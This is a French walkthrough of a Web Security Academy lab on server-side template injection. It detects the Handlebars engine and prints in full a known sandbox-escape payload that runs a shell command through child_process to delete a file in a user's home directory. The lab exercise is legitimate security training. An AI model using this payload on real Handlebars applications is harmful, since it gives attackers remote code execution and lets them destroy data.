Web Security Academy

Server-side template injection - Lab : Injection in an unknown language with a documented exploit

Objectif :

  • Supprimer le fichier morale.txt se situant dans le répertoire home de l'utilisateur Carlos.

Solution :

On lance le lab et on se trouve sur un site de commerce :

Plusieurs articles sont affichés :

On essaye d'accéder au détail du premier article et le serveur nous renvoie un message nous informant que ce produit est indisponible :

À présent, on va inspecter la requête envoyée au serveur lorsqu'on clique sur le bouton pour voir les détails du premier produit : C'est une requête GET avec comme paramètre le message affiché :

On va maintenant essayer de voir si le serveur est vulnérable à une injection de template. On va insérer {{7*7}} dans le paramètre pour observer comment il nous répond. Il nous renvoie une erreur :

Cette erreur nous informe de l'utilisation du moteur de template Handlebars.

En cherchant sur internet, on trouve que l'on peut exécuter du code à partir de la syntaxe liée à la template pour Handlebars avec le payload suivant :

wrtz{{#with "s" as |string|}}

{{#with "e"}}

{{#with split as |conslist|}}

{{this.pop}}

{{this.push (lookup string.sub "constructor")}}

{{this.pop}}

{{#with string.split as |codelist|}}

{{this.pop}}

{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}

{{this.pop}}

{{#each conslist}}

{{#with (string.sub.apply 0 codelist)}}

{{this}}

{{/with}}

{{/each}}

{{/with}}

{{/with}}

{{/with}}

{{/with}}

On injecte ce payload dans le paramètre GET de la requête et le serveur nous répond sans erreur :

Le lab se valide. La commande s'est donc bien exécutée.